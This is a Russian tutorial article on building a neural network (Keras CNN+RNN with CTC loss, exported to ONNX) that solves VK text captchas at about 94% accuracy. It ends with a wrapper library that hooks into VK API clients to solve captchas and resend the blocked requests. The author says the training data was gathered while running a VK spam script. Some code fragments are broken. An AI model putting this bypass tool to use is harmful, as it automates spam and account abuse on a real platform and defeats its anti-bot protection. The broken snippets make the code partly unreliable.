Ломаем текстовую капчу на примере VK или брутфорсинг до сих пор актуален

в 18:07, , рубрики: AI, onnxruntime, python, TensorFlow, брутфорс, Вконтакте API, информационная безопасность, исскуственный интеллект, капча, машинное обучение

Немного о проблеме

Что мы знаем о капче? Капча — автоматизированный тест тьюринга, помогающий отсеивать подозрительные действия недобросовестных роботов от реальных людей. Но, к сожалению (или к счастью, смотря для кого), текстовая капча сильно устарела. Если еще 10 лет назад она была более-менее эффективным методом защиты от роботов, то сейчас ее может взломать любой желающий человек, более-менее разбирающийся в компьютере.

В данной статье-мануале я покажу, как создать собственную нейросеть по распознанию текстовых капч, имея под рукой домашний компьютер, базовые знания в python и немножко примеров капч.

Результат работы обученной сети
Результат работы обученной сети

Дисклеймер:

Автор данной статьи ни коим образом не призывает вас совершать какие-либо незаконные действия, используя материалы из данной статьи (да и с другими тоже не стоит) и не несет ответственности за вред, причененный ею.

Цель данной статьи — наглядно показать распространённую проблему текстовых капч.

Как всё начиналось

Было время, когда я писал один скрипт по спаму (альтернативному методу продвижения — рассылке) вк. Скрипт должен был уметь обходить капчу через сторониие сервисы (решают 1000 капч за 10-20 руб). И я подумал, почему бы не сохранять уже решенные капчи у себя на сервере? Таким образом я бесплатно накопил 150к примеров решенных капч (правда 5-10% из них были решены неправильно, но бОльшая часть датасета всё-таки валидна).

Сразу скажу, что я — человек не сильно смыслящий в машинном обучении, поэтому подправьте меня в комментариях, если что)

Выбираем нейросеть

Несмотря на то, что на дворе 2023 год, ничего более-менее адекватно работающего сходу я найти не смог. Большинство примеров предлагали перед распознаванием убрать шумы, разделить капчу ПОБУКВЕННО и перевести её в черно-белый формат (типо для облегчения работы).

Но в моём случае были некоторые проблемы:

  1. Как убрать шумы, если при переводе в black and white линии сливаются с буквам

  2. Как разделить капчу побуквенно, если заранее неизвестно, сколько букв она в себе содержит

  3. В теории можно заморочиться с 1 и 2 пунктом, но терять неделю свободного времени ради такого занятия я был не готов, поэтому пошёл искать другие варианты.

RGB вариант — у букв и линий разный оттенок

RGB вариант — у букв и линий разный оттенок
BLACK and WHITE — буквы сливаются с линиями

BLACK and WHITE — буквы сливаются с линиями

Так я нашёл Tensorflow keras OCR model — CNN + RNN модель, реализующую фукнцию ошибки через CTC loss. В ней необязательно вообще что-то делать с картинками — достаточно минимально их обработать ( transpose(perm=[1, 0, 2]) ) и всё. Дальше модель разберётся сама.

Для ворчунов-профессионалов, которые скажут, что без грамотной обработки данных результат получится хуже, отвечаю: да, он получится хуже. Но он получится. И заработает. А это главное. В распознавании капч не нужна 100% вероятность, так что зачем сильно морочиться с preprocessing, если можно не париться?)

Подготавливаем данные

Убираем ошибки из датасета с помощью анализа входных данных

Для начала необходимо понять, какие вообще символы встречаются у нас в капче. Для этого я написал простенький скрипт

Статистика частоты вхождения букв в капчу
import random
import string
from pathlib import Path

data_dir_test = Path("../images/train")

symbols = {i: 0 for i in string.ascii_lowercase+string.digits}
lengths = [0]*100
for i in data_dir_test.glob("**/*"):
    name = i.name.split('-')[0].split('.')[0]
    for i in name:
        symbols[i] += 1
    lengths[len(name)] += 1
ans = []
#print char -> count
for i, item in sorted(symbols.items(), key=lambda e:-e[1]):
    print(item, i)
    if item > 0: ans.append(i)
#print length -> count
for i in filter(length, lambda e: e != 0):
  
print(ans)

Output:

67063 z
66807 s
66024 h
64136 q
61743 d
60674 v
25280 2
25208 7
25185 8
25107 x
25001 y
24993 5
24956 e
24784 a
24599 u
24492 4
24185 k
24094 n
22953 m
22318 c
18990 p
30 b
27 f
19 g
18 i
11 j
9 l
6 o
2 r
1 t
0 w
0 0
0 1
0 3
0 6
0 9
_________
LEN[3]=23
LEN[4]=61393
LEN[5]=62670
LEN[6]=14902
LEN[7]=14318
LEN[8]=4

['z', 's', 'h', 'q', 'd', 'v', '2', '7', '8', 'x', 'y', '5', 'e', 'a', 'u', '4', 'k', 'n', 'm', 'c', 'p']

Эти действия сразу помогают "почистить" примеры: видно, что буквы b, f, g, i, j, l, o, r, t заведомо ошибочные и что капч, состоящих из 3 и 8 символов, не существует.

Отлично, с символами определились

max_length = 7
characters = ['z', 's', 'h', 'q', 'd', 'v', '2', '7', '8', 'x', 
              'y', '5', 'e', 'a', 'u', '4', 'k', 'n', 'm', 'c', 'p']

Подготовка датасета

Перед дальнейшими действиями разобьем датасет с картинками на 2 папки: train и test. Папка test будет использоваться для тестирования готовой модели, train — для обучения (в процессе обучения датасет случайным образом разбивается на train и validate). Я разбил в пропорциях 1/15 ( у меня примеров много, поэтому 10к для теста будет достаточно; если у Вас датасет меньше, чем 20к, то стоит разбивать хотя бы 2/8 )

Теперь надо сделать преобработку картинки. В модели будет использоваться RGB float32 input:

img_width = 130 # ширина input'a
img_height = 50 # высота input'a
def encode_img(img):
    # Preprocessing
    #    We will use 3 channels input (in original code were 1 channel)
    if img_type == '*.jpeg':
        img = tf.io.decode_jpeg(img, channels=3, dct_method='INTEGER_ACCURATE')
    #        img = tf.image.rgb_to_grayscale(img)
    else:
        img = tf.io.decode_png(img, channels=3)

    # Convert to float32 in [0, 1] range
    img = tf.image.convert_image_dtype(img, tf.float32)
    # Resize to the desired size
    img = tf.image.resize(img, [img_height, img_width])
    # Transpose the image because we want the time
    # dimension to correspond to the width of the image.
    img = tf.transpose(img, perm=[1, 0, 2])
    return img
  def encode_single_sample(img_path, label):
    # Read image
    img = tf.io.read_file(img_path)
    # Preprocessing
    img = encode_img(img)
    # Map the characters in label to numbers
    label = char_to_num(tf.strings.unicode_split(label, input_encoding="UTF-8"))
    # Return a dict as our model is expecting two inputs
    return {"image": img, "label": label}

И запихать это всё в 2 датасета: один для обучения, другой — для проверки работоспособности модели (в процессе обучения)

def split_data(images: 'list', labels: 'list', train_size=0.9, shuffle=True):
    size = len(images)
    # 1. Make an indices array and shuffle it, if required
    indices = np.arange(size)
    if shuffle:
        np.random.shuffle(indices)
    # 2. Get the size of training samples
    train_samples = int(size * train_size)
    # 3. Split data into training and validation sets
    x_train, y_train = images[indices[:train_samples]], labels[indices[:train_samples]]
    x_valid, y_valid = images[indices[train_samples:]], labels[indices[train_samples:]]
    return x_train, x_valid, y_train, y_valid

x_train, x_valid, y_train, y_valid = split_data(np.array(images), np.array(labels))
train_dataset = tf.data.Dataset.from_tensor_slices((x_train, y_train))
train_dataset = (
    train_dataset.map(encode_single_sample, num_parallel_calls=tf.data.AUTOTUNE)
        .batch(batch_size)
        .prefetch(buffer_size=tf.data.AUTOTUNE)
)

validation_dataset = tf.data.Dataset.from_tensor_slices((x_valid, y_valid))
validation_dataset = (
    validation_dataset.map(encode_single_sample, num_parallel_calls=tf.data.AUTOTUNE)
        .batch(batch_size)
        .prefetch(buffer_size=tf.data.AUTOTUNE)
)

Создаём и обучаем модель

Пришло время для самой модели. Она будет состоять из 2х блоков Conv2D, RNN, (output), CTC loss Layer (для ошибки)

Генерируем модель (многа сложных букф)
# Loss function
class CTCLayer(layers.Layer):
    def __init__(self, name=None):
        super().__init__(name=name)
        self.loss_fn = keras.backend.ctc_batch_cost

    def call(self, y_true, y_pred, **kwargs):
        # Compute the training-time loss value and add it
        # to the layer using `self.add_loss()`.
        batch_len = tf.cast(tf.shape(y_true)[0], dtype="int64")
        input_length = tf.cast(tf.shape(y_pred)[1], dtype="int64")
        label_length = tf.cast(tf.shape(y_true)[1], dtype="int64")

        input_length = input_length * tf.ones(shape=(batch_len, 1), dtype="int64")
        label_length = label_length * tf.ones(shape=(batch_len, 1), dtype="int64")

        loss = self.loss_fn(y_true, y_pred, input_length, label_length)
        self.add_loss(loss)

        # At test time, just return the computed predictions
        return y_pred
def build_model():
    # Inputs to the model
    input_img = layers.Input(
        # Lets use RGB input instead of black and white
        shape=(img_width, img_height, 3), name="image", dtype="float32"
    )
    labels = layers.Input(name="label", shape=(None,), dtype="float32")

    # First conv block
    x = layers.Conv2D(
        32,
        (3, 3),
        activation="relu",
        kernel_initializer="he_normal",
        padding="same",
        name="Conv1",
    )(input_img)
    x = layers.MaxPooling2D((2, 2), name="pool1")(x)

    # Second conv block
    x = layers.Conv2D(
        64,
        (3, 3),
        activation="relu",
        kernel_initializer="he_normal",
        padding="same",
        name="Conv2",
    )(x)
    x = layers.MaxPooling2D((2, 2), name="pool2")(x)

    # We have used two max pool with pool size and strides 2.
    # Hence, downsampled feature maps are 4x smaller. The number of
    # filters in the last layer is 64. Reshape accordingly before
    # passing the output to the RNN part of the model
    new_shape = ((img_width // 4), (img_height // 4) * 64)
    x = layers.Reshape(target_shape=new_shape, name="reshape")(x)
    x = layers.Dense(64, activation="relu", name="dense1")(x)
    x = layers.Dropout(0.2)(x)

    # RNNs
    x = layers.Bidirectional(layers.LSTM(128, return_sequences=True, dropout=0.25))(x)
    x = layers.Bidirectional(layers.LSTM(64, return_sequences=True, dropout=0.25))(x)

    # Output layer
    x = layers.Dense(
        len(char_to_num.get_vocabulary()) + 1, activation="softmax", name="dense2"
    )(x)

    # Add CTC layer for calculating CTC loss at each step
    output = CTCLayer(name="ctc_loss")(labels, x)

    # Define the model
    model = keras.models.Model(
        inputs=[input_img, labels], outputs=output, name="ocr_model_v1"
    )
    # Optimizer
    opt = keras.optimizers.Adam()
    # Compile the model and return
    model.compile(optimizer=opt)
    return model
model = build_model()

Добавляем защиту от переобучения

early_stopping = keras.callbacks.EarlyStopping(
    monitor="val_loss", patience=early_stopping_patience, restore_best_weights=True
)

..... Запускаем! .....

history = model.fit(
    train_dataset,
    validation_data=validation_dataset,
    epochs=100,
    callbacks=[early_stopping],
)
Процесс обучения модели

Процесс обучения модели

Обучалась модель у меня на процессоре (AMD RYZEN 5 3600) ~ 10 часов, на видеокарте (GTX 1070 TI) ~ 3 часа.

Если вдруг захотите обучать на видеокарте, то будьте готовы потратить 2-3 часа на уставку CUDA, tensorflow-GPU, и кучу другого гемороя (например, conda, — без неё на windows с обучением всё очень грустно)

Тестируем

Для тестирования нужно прогнать нашу модель через датасет, заранее оставленный в папочке test.

Код тестов

Подгружаем нашу модель

model: Functional = keras.models.load_model(MODEL_FNAME)

Загружаем тестовый датасет

images = list(map(str, [i for i in data_dir_test.glob(img_type)]))
images = sorted(images, key=lambda *h: random.random())
labels = [
    img.split(os.path.sep)[-1].split('-')[0].split('.jpeg')[0].ljust(max_length)[:max_length]
    for img in images
]

test_dataset = tf.data.Dataset.from_tensor_slices((numpy.array(images), numpy.array(labels)))
test_dataset = (
    test_dataset.map(encode_single_sample, num_parallel_calls=tf.data.AUTOTUNE)
    .batch(batch_size)
    .prefetch(buffer_size=tf.data.AUTOTUNE)
)

Визуализация (по желанию):

def visualize():
    _, ax = plt.subplots(4, 4, figsize=(15, 5))
    for i in range(len(pred_texts)):
        img = (image[i, :, :, :] * 255).numpy().transpose([1, 0, 2]).astype(np.uint8)
        title = f" {pred_texts[i][0]}{pred_texts[i][1]:.3%} {'ok' if success else 'wrong'}"
        ax[i // 4, i % 4].imshow(img)
        ax[i // 4, i % 4].set_title(title)
        ax[i // 4, i % 4].axis("off")
    plt.show()

И, соответственно, тесты:

good = 0
total = 0

for i in test_dataset.take(1000):
    label, image = i['label'], i['image']
    preds = model.call(image)
    pred_texts = decode_batch_predictions(preds)[0]
    orig_texts = [tf.strings.reduce_join(num_to_char(l)).numpy().decode("utf-8").replace('[UNK]', '') for l in label]
    if need_visualization and total == 0:
        visualize()
    for i in range(len(pred_texts)):
        success = pred_texts[i] == orig_texts[i]
        if success:
            good += 1
        total += 1
    print(f"Progress {total/len(images):.2%}[{total}/{len(images)}]...", end='r')
print(f"Success: {(good / total):.2%}n")
Результат тестов

Результат тестов

У модель выдавала правильный ответ с вероятностью 94.05%.

Ура?

В целом, можно сказать, что модель готова. НО! Тут, как всегда, не без сюрпризов. А сюрпризы в данном случае: 2ГБ библиотеки Tensorflow, 10-15 секунд на её import, долгое время работы и т.п.

В общем, после длительных поисков, было решено переходить на формат onnx. А что, стильно, модно, молодёжно, подумал я. Но, естественно, с 1-го раза ничего не заработало

Конвертируем модель в ONNX

Сначала я попытался использовать keras2onnx, но он у меня не заработал. Погуглив ошибку, я пришёл к выводу, что во всём виновата windows (о великие линукса), перешел на виртуалку, попробовал на ней и.... Опять ничего не заработало (после 4х часов попыток заставить что-либо двигаться).

Далее на очередь пришёл tf2onnx. Но заработал он у меня только с 3-го раза: в первый раз, после установки, оказалось, что python3.10 не поддерживается, затем, на 2й раз — что я обучал модель на слишком новой версии tensorflow, которую tf2onnx пока не поддерживает (вот зараза).

В результате у меня-таки получилось всё провернуть со следующими версиями:

python3.9
tensorflow==2.9.1
tf2onnx==1.11.1
onnxruntime==1.9.0
onnxconverter-common==1.10.0

Ну и сам скрипт конвертации:

import pathlib, tf2onnx.convert, sys
from tools import MODEL_FNAME

OUTPUT_ONNX = "../out.model.onnx"

dir = pathlib.Path(__file__).parent
sys.argv.append("--saved-model")
sys.argv.append(str(dir / MODEL_FNAME))
sys.argv.append("--output")
sys.argv.append(str(dir / OUTPUT_ONNX))
tf2onnx.convert.main()

UPDATE: вроде как сейчас уже есть поддержка python3.10, но проверять я это не хочу)

Переписываем код с tensorflow на numpy

Теперь, после конвертации в ONNX, возникла необходимость переписать препроцессинг картинок с tensorflow на великий numpy (весит меньше, работает шустрее).

В случае препроцессинга это не составило особого труда:

def decode_img(data_bytes: bytes):
  # same actions, as for tensorflow
  img = cv2.imdecode(np.asarray(bytearray(data_bytes), dtype=np.uint8), -1)
  img: "np.ndarray" = img.astype(np.float32) / 255.
  if img.shape != (img_height, img_width, 3):
      cv2.resize(img, (img_width, img_height))
  img = img.transpose([1, 0, 2])
  #  Creating tensor ( adding 4d dimension )
  img = np.array([img])
  return img
Немного о INTEGER_ACCURATE

Тестируем и... Процент верных ответов снижается на 10%. Это стало очень неприятно, и, как оказалось, всё дело в методе преобрабоки картинки.

Существует много методов декодирования JPEG картинок, и, естественно, tensorflow и numpy по умолчанию используют разные. Чтобы они были наиболее cхожи, стоит указать параметр dct_method='INTEGER_ACCURATE'.

img = tf.io.decode_jpeg(img, channels=3, dct_method='INTEGER_ACCURATE')

Немного официальной документации:

dct_method - String specifying a hint about the algorithm used for decompression. Defaults to "" which maps to a system-specific default. Currently valid values are ["INTEGER_FAST", "INTEGER_ACCURATE"]. The hint may be ignored (e.g., the internal jpeg library changes to a version that does not have that specific option.)

Не повторяйте моих ошибок :)

А вот в случае декодирования результа пришлось вникнуть в Beam Search Decoding for ctc alorithm. Если вкратце, то на выход мы получаем 2-мерный массив длиной в 32 элемента, где каждый элемент — массив вероятностей на этом месте каждой буквы.

Код декодирования результата:

def get_result(pred):
    """CTC decoder of the output tensor
    https://distill.pub/2017/ctc/
    https://en.wikipedia.org/wiki/Connectionist_temporal_classification
    :return string, float
    """
    accuracy = 1
    last = None
    ans = []
    # pred - 3d tensor, we need 2d array - first element
    for item in pred[0]:
        # get index of element with max accuracy
        char_ind = item.argmax()
        # ignore duplicates and special characters
        if char_ind != last and char_ind != 0 and char_ind != len(characters)+1:
            # this element is a character - append it to answer
            ans.append(characters[char_ind - 1])
            # Get accuracy for current character and 
            # multiply global accuracy by it
            accuracy *= item[char_ind]
        last = char_ind

    answ = "".join(ans)[:max_length]
    return answ, accuracy

Тестируем ONNX модель

Настало время финальной проверки: необходимо удостовериться, что мы всё сделали правильно. То есть результат работы ONNX модели не должен сильно отличаться от оригинальной. Также необходимо прогнать тесты на "реальных" капчах (генерируемых сервером) и посмотреть, насколько наша модель с ними справляется (а то вдруг всё было зря😄)

Загружаем модель:

data_dir_test = data_dir_test.glob(img_type)
sess = onnxruntime.InferenceSession(r"../out.model.onnx")
name = sess.get_inputs()[0].name

Переделываем функцию для решения капчи из файла

def solve(file_name: str):
    with open(file_name, 'rb') as F:
        data_bytes = F.read()
    img = decode_img(data_bytes)
    pred_onx = sess.run(None, {name: img})[0]
    ans = get_result(pred_onx)
    return ans

А дальше есть 2 варианта.

  1. Прогнать тесты на реальных капчах и вывести их через matplotlib.pyplotи вручную проанализировать результаты:

    min_accur = 0.3
    time_now = time.time()
    _, ax = plt.subplots(4, 4, figsize=(10, 5))
    for i in range(16):
        file = 'image.jpeg'
        perc_ = 0
        # пока вероятность корректного решения, выдаваемая моделью, меньше,
        # чем минимум - решаем
        while perc_ < min_accur:
            # на всякий случай скажу, что если брать рандомные sid, 
            # то может вылезти русская капча, например как тут(не пугайтесь): 
            # https://api.vk.com/captcha.php?sid=984831
            image = requests.get('https://api.vk.com/captcha.php?sid=98483')
            with open(file, 'wb') as f:
                f.write(image.content)
            solution, perc_ = solve(file)
        img = mpimg.imread(file)
    
        title = f"{perc_: .2%} {solution}"
        ax[i >> 2, i % 4].imshow(img)
        ax[i >> 2, i % 4].set_title(title)
        ax[i >> 2, i % 4].axis("off")
    plt.show()
    print("ARGV:", (time.time() - time_now) / 10, "sec.")
    
  2. Прогнать модель заново на тестовых данных и посмотреть, не "испортилась" ли она в процессе перевода в другой формат, а также проанализировать ошибки, которые она делает.

    Функция анализа ошибок:

    def mistakes_analyzer(errors: "list[tuple[str, str]]"):
        """Analyze mistakes made by model.
        :param errors - list of (model_ans, correct_ans)
        :returns (loose_symbol, error_symbols, undefined)
                loose_symbol - {symbol: loos_count}
                error_symbols - {correct_symbol: {model_answer: count}} (count=int)
                undefined - list of other mistakes list[tuple[str, str]]
        """
        loose_symbol = {}
        error_symbols = {}
        undefined = []
        for ans, correct_ans in errors:
            if len(ans) != len(correct_ans):
                # if we skip a character
                if len(correct_ans) == len(ans)+1:
                    loosed_sym = dif(correct_ans, ans)
                    if loosed_sym not in loose_symbol:
                        loose_symbol[loosed_sym] = 0
                    loose_symbol[loosed_sym] += 1
                else:
                    undefined.append((ans, correct_ans))
                continue
            for sym_correct, sym_fail in zip(correct_ans, ans):
                if sym_correct != sym_fail:
                    # if we recognize it incorrectly
                    if sym_correct not in error_symbols: error_symbols[sym_correct] = {}
                    if sym_fail not in error_symbols[sym_correct]: error_symbols[sym_correct][sym_fail] = 0
                    error_symbols[sym_correct][sym_fail] += 1
        return loose_symbol, error_symbols, undefined
    

    Ну и проход по тестовым данным:

    mistakes = []
    total = 0
    correct = 0
    for file in data_dir_test:
        ans = file.name.split(".")[0].split('-')[0]
        soved_ans, _ = solve(str(file))
        if soved_ans == ans:
            correct += 1
        else:
            mistakes.append((ans, soved_ans))
        total += 1
        if total % 100 == 0:
            print(f"Success: {correct / total:.2%}", end='r')
    print("Parsing data mistakes: ")
    anylize = mistakes_analyzer(mistakes)
    print("nnLoose symbols:")
    for i, v in sorted(anylize[0].items(), key=lambda n: -n[1]):
        if v == 1: continue  # 1 is not an error - it's a mistake
        print(i, '=', v)
    print("nnWrong symbols:")
    for symbol, arr in sorted(anylize[1].items(), key=lambda n: -sum(n[1].values())):
        print(symbol, '=', sum(arr.values()), ":")
        for symbol_next, v in sorted(arr.items(), key=lambda n: -n[1]):
            if v == 1: continue
            print(f't{symbol} - {symbol_next} = {v}')
    from fuzzywuzzy import fuzz
    for i in anylize[2]:
        # if the difference between answer and item is too big - 
        # it's wierd. We should pay attention on it     
        if fuzz.ratio(*i) < 0.4:
            print("Probably problem in data: ")
            print(*i)
    

    В моём случае я получил примерно такую картину:

    Loose symbols:
    z = 6
    s = 4
    n = 4
    7 = 3
    4 = 2
    v = 2
    c = 2
    
    Wrong symbols:
    e = 97 :
    	e - c = 59
    	e - 8 = 14
    	e - a = 9
    	e - p = 4
    	e - q = 3
    	e - 2 = 2
    	e - s = 2
    c = 97 :
    	c - e = 61
    	c - q = 18
    	c - p = 6
    	c - d = 3
    	c - u = 3
    	c - a = 2
    n = 77 :
    	n - h = 41
    	n - m = 13
    	n - p = 12
    	n - u = 4
    	n - 4 = 2
    s = 74 :
    	s - 8 = 16
    	s - 5 = 14
    	s - e = 9
    	s - q = 8
    	s - c = 7
    	s - x = 4
    	s - 2 = 3
    	s - p = 3
    	s - a = 3
    	s - z = 2
    	s - n = 2
    z = 73 :
    	z - 2 = 28
    	z - 7 = 18
    	z - s = 5
    	z - v = 4
    	z - h = 3
    	z - x = 3
    	z - q = 3
    	z - 5 = 2
    	z - a = 2
    a = 71 :
    	a - d = 26
    	a - e = 9
    	a - 4 = 7
    	a - q = 6
    	a - n = 5
    	a - u = 5
    	a - z = 3
    	a - 2 = 2
    	a - 8 = 2
    	a - c = 2
    v = 71 :
    	v - y = 49
    	v - x = 13
    	v - d = 2
    	v - s = 2
    q = 47 :
    	q - d = 26
    	q - e = 4
    	q - 9 = 2
    	q - c = 2
    	q - g = 2
    	q - 4 = 2
    	q - z = 2
    	q - u = 2
    u = 45 :
    	u - d = 17
    	u - n = 7
    	u - q = 5
    	u - h = 3
    	u - v = 3
    	u - m = 2
    	u - x = 2
    	u - 4 = 2
    h = 38 :
    	h - n = 26
    	h - b = 5
    	h - k = 3
    	h - u = 2
    d = 30 :
    	d - c = 11
    	d - q = 8
    	d - a = 3
    	d - u = 2
    	d - s = 2
    y = 26 :
    	y - v = 20
    	y - x = 4
    	y - 7 = 2
    x = 24 :
    	x - k = 9
    	x - v = 5
    	x - y = 4
    	x - 7 = 2
    5 = 22 :
    	5 - p = 5
    	5 - s = 4
    	5 - h = 3
    	5 - a = 2
    	5 - 2 = 2
    	5 - 7 = 2
    2 = 21 :
    	2 - 8 = 7
    	2 - z = 5
    	2 - a = 3
    	2 - p = 3
    7 = 20 :
    	7 - z = 10
    	7 - s = 2
    p = 16 :
    	p - n = 8
    	p - h = 2
    	p - u = 2
    	p - m = 2
    4 = 13 :
    	4 - 7 = 3
    	4 - q = 3
    	4 - h = 2
    	4 - a = 2
    k = 12 :
    	k - x = 5
    	k - h = 4
    8 = 5 :
    m = 5 :
    	m - n = 3
    

    Из этих данных видно, что модель довольно часто путает "e" с "c", "h" с "n", "z" c "2", "v" c "y". Это стандартная ситуация для моделей, распознающих текст, — эти символы и люди часто не могут до конца распознать (а у нас, извините, нечетаемая капча).

Также стоит упомянуть один интересную фичу, которой можно воспользоваться при решении текстовых капч: если модель выдает плохую уверенность в ответе (например, ниже чем 0.2), то довольно часто можно "забить" на решение данной капчи и просто запросить следующую (в случае ВК и запрашивать не надо: просто заново скачиваем картинку по той же ссылке, и сервер для нас любезно сгенерировует новую "задачку").
То есть "умная" функция будет решать капчу до тех пор (естественно, можно задать макс. количество раз), пока вероятность успешного ответа меньше, чем нужная нам.

Теперь то всё?

Почти. Осталось написать библиотеку-обёрту для получившейся модели.

Много code
import concurrent.futures
import os.path
import time
import aiohttp, asyncio

import onnxruntime as onr
import numpy as np
import requests
import cv2
import vk_api, threading
from requests.exceptions import ProxyError

characters = ['z', 's', 'h', 'q', 'd', 'v', '2', '7', '8', 'x', 'y', '5', 'e', 'a', 'u', '4', 'k', 'n', 'm', 'c', 'p']
img_width = 130
img_height = 50
lock = threading.Lock()
logging_lock: "threading.Lock|None" = None  # you can use some existing lock for logging
max_length = 7
class VkCaptchaSolver:
    """
    Vk captcha handling
    Fast examples:
1) vk_api.VkApi
>>> from vk_captcha import vk_api_handler
>>> vk = vk_api_handler.VkApiCaptcha("88005553535", "efwoewkofokw")  # this login will create captcha
>>> vk_api_handler.Solver.logging = True  # enable logging
>>> vk.auth() # getting Password Api error
2) solving captcha from url
>>> from vk_captcha import VkCaptchaSolver
>>> import random
>>> solver = VkCaptchaSolver(logging=True)
>>> captcha_response, accuracy = solver.solve(url=f"https://api.vk.com/captcha.php?sid={random.randint(0,10000000)}", minimum_accuracy=0.15)
>>> async def async_way():
... await solver.solve_async(url=f"https://api.vk.com/captcha.php?sid={random.randint(0,10000000)}")
3) if you have image in bytes:
>>> solver.solve(bytes_data=requests.get(f"https://api.vk.com/captcha.php?sid={random.randint(0,10000000)}").content)
    """
    TOTAL_COUNT = 0
    FAIL_COUNT = 1
    TOTAL_TIME = 0
    def __init__(self, logging=False, model_fname=os.path.dirname(__file__) + "/model.onnx"):
        self.logging = logging
        self.Model = onr.InferenceSession(model_fname)
        self.ModelName = self.Model.get_inputs()[0].name
    def solve(self, url=None, bytes_data=None, minimum_accuracy=0, repeat_count=10, session=None) -> 'str,float':
        """Solves VK captcha
        :param bytes_data: Raw image data
        :type bytes_data: bytes
        :param url: url of the captcha ( or pass bytes_data )
        :type url: str
        :param minimum_accuracy: Minimum accuracy of recognition.
                                 If accuracy < minimum_accuracy then download captcha again
                                 and solve it again. (Do it for repeat_count times)
                                 Works only with url passed
                                 Range = [0,1]
        :type minimum_accuracy: float
        :param repeat_count: Repeat solving count ( look at minimum_accuracy )
                                Range = [1,999]
        :type repeat_count: int
        :param session: requests.Session object or None
        :return Tuple[answer:str, accuracy:float ( Range=[0,1]) ]
        """
        if url is not None: url = url.replace('&resized=1', '').replace("?resized=1&", '?')
        if self.logging:
            with logging_lock:
                print(f"Solving captcha {url}")
        if repeat_count < 1: raise ValueError(f"Parameter repeat_count = {repeat_count} < 1")
        for i in range(repeat_count):
            if url is not None:
                for _ in range(4):
                    try:
                        bytes_data = (session or requests).get(url, headers={"Content-language": "en"}).content
                        if bytes_data is None:
                            raise ProxyError("Can not download data, probably proxy error")
                        break
                    except:
                        if _ == 3: raise
                        time.sleep(0.5)
            answer, accuracy = self._solve_task(bytes_data)
            if accuracy >= minimum_accuracy or url is None:
                break
            if self.logging:
                with logging_lock:
                    print(f"Solved accuracy(={accuracy:.4}) < miniumum(={minimum_accuracy:.4}). Trying again.")
        with lock: VkCaptchaSolver.TOTAL_COUNT += 1
        return answer, accuracy

    @property
    def argv_solve_time(self):
        """Argv solve time in seconds per one captcha.
        Start returning value after first solve ( solve_async) call"""
        with lock:
            return VkCaptchaSolver.TOTAL_TIME / (VkCaptchaSolver.TOTAL_COUNT or 1)  # zero division error capturing
    @property
    def _async_runner(self):
        if not hasattr(VkCaptchaSolver, "_runner"):
            VkCaptchaSolver._runner = concurrent.futures.ThreadPoolExecutor(
                max_workers=5
            )
        return VkCaptchaSolver._runner
    async def solve_async(self, url=None, bytes_data=None, minimum_accuracy=0, repeat_count=10, session=None) -> 'str,float':
        """Solves VK captcha async
        :param bytes_data: Raw image data
        :type bytes_data: byte
        :param url: url of the captcha ( or pass bytes_data )
        :type url: str
        :param minimum_accuracy: Minimum accuracy of recognition.
                                 If accuracy < minimum_accuracy then download captcha again
                                 and solve it again. (Do it for repeat_count times)
                                 Works only with url passed
                                 Range = [0,1]
        :type minimum_accuracy: float
        :param repeat_count: Repeat solving count ( look at minimum_accuracy )
                                Range = [1,999]
        :param session: aiohttp.ClientSession session to download captcha
        :type session: aiohttp.ClientSession
        :type repeat_count: int
        :return answer:str, accuracy:float (Range=[0,1])
        """
        if self.logging: print(f"Solving captcha {url}")
        if repeat_count < 1: raise ValueError(f"Parameter repeat_count = {repeat_count} < 1")
        for i in range(repeat_count):
            if url is not None:
                for _ in range(4):
                    try:
                        if session is None:
                            async with aiohttp.ClientSession(headers={"Content-language": "en"}) as session_m, 
                                    session_m.get(url) as resp:
                                bytes_data = await resp.content.read()
                        else:
                            async with session.get(url) as resp:
                                bytes_data = await resp.content.read()
                        if bytes_data is None: raise ProxyError("Can not download captcha - probably proxy error")
                        break
                    except Exception:
                        if _ == 3: raise
                        await asyncio.sleep(0.5)
            if self.logging: t = time.time()
            #  running in background async
            res = asyncio.get_event_loop().run_in_executor(self._async_runner, self._solve_task, bytes_data)
            completed, _ = await asyncio.wait((res,))
            #  getting result
            answer, accuracy = next(iter(completed)).result()
            if accuracy >= minimum_accuracy or url is None:
                break
            print(f"Solved accuracy(={accuracy:.4}) < miniumum(={minimum_accuracy:.4}). Trying again.")
        with lock: VkCaptchaSolver.TOTAL_COUNT += 1
        return answer, accuracy
    def _solve_task(self, data_bytes: bytes):
        t = time.time()

        img = cv2.imdecode(np.asarray(bytearray(data_bytes), dtype=np.uint8), -1)
        img: "np.ndarray" = img.astype(np.float32) / 255.
        if img.shape != (img_height, img_width, 3):
            cv2.resize(img, (img_width, img_height))
        img = img.transpose([1, 0, 2])
        #  Creating tensor ( adding 4d dimension )
        img = np.array([img])
        # !!!HERE MAGIC COMES!!!!
        result_tensor = self.Model.run(None, {self.ModelName: img})[0]
        # decoding output
        answer, accuracy = self.get_result(result_tensor)

        delta = time.time() - t
        with lock:
            VkCaptchaSolver.TOTAL_TIME += delta
        if self.logging:
            with logging_lock:
                print(f"Solved captcha = {answer} ({accuracy:.2%} {time.time() - t:.3}sec.)")

        return answer, accuracy

    async def vk_wave_captcha_handler(self, error: dict, api_ctx: 'APIOptionsRequestContext'):
        method = error["error"]["request_params"][0]["value"]
        request_params = {}
        for param in error["error"]["request_params"]:
            if param["key"] in ("oauth", "v", "method"):
                continue
            request_params[param["key"]] = param["value"]

        key = await self.solve_async(error["error"]["captcha_img"], minimum_accuracy=0.33)

        request_params.update({"captcha_sid": error["error"]["captcha_sid"], "captcha_key": key})
        return await api_ctx.api_request(method, params=request_params)
    def vk_wave_attach_to_api_session(self, api_session):
        d = api_session.default_api_options.error_dispatcher
        d.add_handler(14, self.vk_wave_captcha_handler)
    @staticmethod
    def get_result(pred):
        """CTC decoder of the output tensor
        https://distill.pub/2017/ctc/
        https://en.wikipedia.org/wiki/Connectionist_temporal_classification
        :return string, float
        """
        accuracy = 1
        last = None
        ans = []
        # pred - 3d tensor, we need 2d array - first element
        for item in pred[0]:
            # get index of element with max accuracy
            char_ind = item.argmax()
            # ignore duplicates and special characters
            if char_ind != last and char_ind != 0 and char_ind != len(characters) + 1:
                # this element is a character - append it to answer
                ans.append(characters[char_ind - 1])
                # Get accuracy for current character and
                # multiply global accuracy by it
                accuracy *= item[char_ind]
            last = char_ind

        answ = "".join(ans)[:max_length]
        return answ, accuracy

    def vk_api_captcha_handler(self, captcha, minimum_accuracy=0.3, repeat_count=10):
        """vk_api.VkApi captcha handler function"""
